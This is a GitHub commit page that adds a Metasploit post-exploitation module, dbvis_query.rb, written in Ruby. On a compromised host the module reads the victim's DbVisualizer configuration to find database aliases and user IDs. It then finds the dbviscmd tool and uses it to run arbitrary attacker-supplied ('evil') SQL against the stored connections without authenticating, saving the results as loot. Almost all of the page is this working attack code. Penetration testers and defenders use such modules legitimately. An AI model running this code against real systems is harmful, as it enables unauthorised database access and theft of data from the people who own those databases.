Skip to content

Commit 7bee4db

Browse files
committed
dbvis_query.rb add
1 parent 526538e commit 7bee4db

File tree

1 file changed

+214
-0
lines changed

1 file changed

+214
-0
lines changed
Lines changed: 214 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,214 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'msf/core/auxiliary/report'
8+
9+
class Metasploit3 < Msf::Post
10+
11+
include Msf::Post::File
12+
include Msf::Post::Unix
13+
14+
def initialize(info={})
15+
super( update_info( info,
16+
'Name' => 'Multi Manage Dbvis Query',
17+
'Description' => %q{
18+
Dbvisulaizer offers a command line functionality to execute SQL pre-configured databases (With GUI).
19+
The remote database can be accessed from the command line without the need to authenticate.
20+
Attention, backslash quotes and your (stacked or not) queries should end with ;
21+
The module abuses this functionality to query the remote database and store the result.
22+
Video : http://youtu.be/0LCLRVHX1vA
23+
},
24+
'License' => MSF_LICENSE,
25+
'Author' => [ 'David Bloom' ], # Twitter: @philophobia78
26+
'Platform' => %w{ linux win },
27+
'SessionTypes' => [ 'meterpreter' ]
28+
))
29+
register_options(
30+
[
31+
OptString.new('DBALIAS', [true,'Use dbvis_enum module to find out databases and aliases', 'localhost']),
32+
OptString.new('QUERY', [true,'The query you want to execute on the remote database', '']),
33+
], self.class)
34+
35+
end
36+
37+
def run
38+
db_type = exist_and_supported()
39+
unless db_type.blank?
40+
dbvis = find_dbviscmd()
41+
unless dbvis.blank?
42+
dbvis_query(dbvis,datastore['QUERY'])
43+
end
44+
end
45+
end
46+
47+
# Check if the alias exist and if database is supported by this script
48+
def exist_and_supported()
49+
case session.platform
50+
when /linux/
51+
user = session.shell_command("whoami")
52+
print_status("Current user is #{user}")
53+
if (user =~ /root/)
54+
user_base = "/root/"
55+
else
56+
user_base="/home/#{user}/"
57+
end
58+
dbvis_file = "#{user_base}.dbvis/config70/dbvis.xml"
59+
when /win/
60+
user_profile = session.sys.config.getenv('USERPROFILE')
61+
dbvis_file = "#{user_profile}\\.dbvis\\config70\\dbvis.xml"
62+
end
63+
64+
unless file?(dbvis_file)
65+
#File not found, we next try with the old config path
66+
print_status("File not found: #{dbvis_file}")
67+
print_status("This could be an older version of dbvis, trying old path")
68+
case session.platform
69+
when /linux/
70+
dbvis_file = "#{user_base}.dbvis/config/dbvis.xml"
71+
when /win/
72+
dbvis_file = "#{user_profile }\\.dbvis\\config\\dbvis.xml"
73+
end
74+
unless file?(dbvis_file)
75+
print_error("File not found: #{dbvis_file}")
76+
return
77+
end
78+
old_version= true
79+
end
80+
81+
print_status("Reading : #{dbvis_file}" )
82+
raw_xml = ""
83+
begin
84+
raw_xml = read_file(dbvis_file)
85+
rescue EOFError
86+
# If there's nothing in the file, we hit EOFError
87+
print_error("Nothing read from file: #{dbvis_file}, file may be empty")
88+
return
89+
end
90+
91+
db_found=false
92+
alias_found=false
93+
db_type=nil
94+
db_type_ok=false
95+
96+
# fetch config file
97+
raw_xml.each_line do |line|
98+
99+
if line =~ /<Database id=/
100+
db_found = true
101+
elsif line =~ /<\/Database>/
102+
db_found=false
103+
end
104+
105+
if db_found == true
106+
107+
# checkthe alias
108+
if (line =~ /<Alias>([\S+\s+]+)<\/Alias>/i)
109+
if datastore['DBALIAS'] == $1
110+
alias_found = true
111+
print_good("Alias #{datastore['DBALIAS']} found in dbvis.xml")
112+
end
113+
end
114+
115+
if (line =~ /<Userid>([\S+\s+]+)<\/Userid>/i)
116+
if alias_found
117+
print_good("Username for this connection : #{$1}")
118+
end
119+
end
120+
121+
# check the type
122+
if (line =~ /<Type>([\S+\s+]+)<\/Type>/i)
123+
if alias_found
124+
db_type = $1
125+
alias_found = false
126+
end
127+
end
128+
end
129+
end
130+
if db_type.blank?
131+
print_error("Database alias not found in dbvis.xml")
132+
end
133+
return db_type # That is empty if DB is not supported
134+
end
135+
136+
# Find path to dbviscmd.sh|bat
137+
def find_dbviscmd
138+
case session.platform
139+
when /linux/
140+
dbvis = session.shell_command("locate dbviscmd.sh").chomp
141+
if dbvis.chomp==""
142+
print_error("dbviscmd.sh not found")
143+
return nil
144+
else
145+
print_good("Dbviscmd found : #{dbvis}")
146+
end
147+
when /win/
148+
# Find program files
149+
progfiles_env = session.sys.config.getenvs('ProgramFiles(X86)', 'ProgramFiles')
150+
progfiles_x86 = progfiles_env['ProgramFiles(X86)']
151+
if not progfiles_x86.blank? and progfiles_x86 !~ /%ProgramFiles\(X86\)%/
152+
program_files = progfiles_x86 # x64
153+
else
154+
program_files = progfiles_env['ProgramFiles'] # x86
155+
end
156+
dirs = []
157+
session.fs.dir.foreach(program_files) do |d|
158+
dirs << d
159+
end
160+
dbvis_home_dir = nil
161+
#Browse program content to find a possible dbvis home
162+
dirs.each do |d|
163+
if (d =~ /DbVisualizer[\S+\s+]+/i)
164+
dbvis_home_dir=d
165+
end
166+
end
167+
if dbvis_home_dir.blank?
168+
print_error("Dbvis home not found, maybe uninstalled ?")
169+
return nil
170+
end
171+
dbvis = "#{program_files}\\#{dbvis_home_dir}\\dbviscmd.bat"
172+
unless file?(dbvis)
173+
print_error("dbviscmd.bat not found")
174+
return nil
175+
end
176+
print_good("Dbviscmd found : #{dbvis}")
177+
end
178+
return dbvis
179+
end
180+
181+
# Query execution method
182+
def dbvis_query(dbvis,sql)
183+
error =false
184+
resp=''
185+
if file?(dbvis)==true
186+
f = session.fs.file.stat(dbvis)
187+
if f.uid == Process.euid or Process.groups.include?f.gid
188+
print_status("Trying to execute evil sql, it can take time ...")
189+
args = "-connection #{datastore['DBALIAS']} -sql \"#{sql}\""
190+
dbvis ="\"#{dbvis}\""
191+
cmd = "#{dbvis} #{args}"
192+
resp = cmd_exec(cmd)
193+
print_line("")
194+
print_line("#{resp}")
195+
# store qury and result
196+
p = store_loot(
197+
"dbvis.query",
198+
"text/plain",
199+
session,
200+
resp.to_s,
201+
"dbvis_query.txt",
202+
"dbvis query")
203+
print_good("Query stored in: #{p.to_s}")
204+
else
205+
print_error("User doesn't have enough rights to execute dbviscmd, aborting")
206+
end
207+
else
208+
print_error("#{dbvis} is not a file")
209+
end
210+
return error
211+
end
212+
213+
end
214+

0 commit comments

Comments
 (0)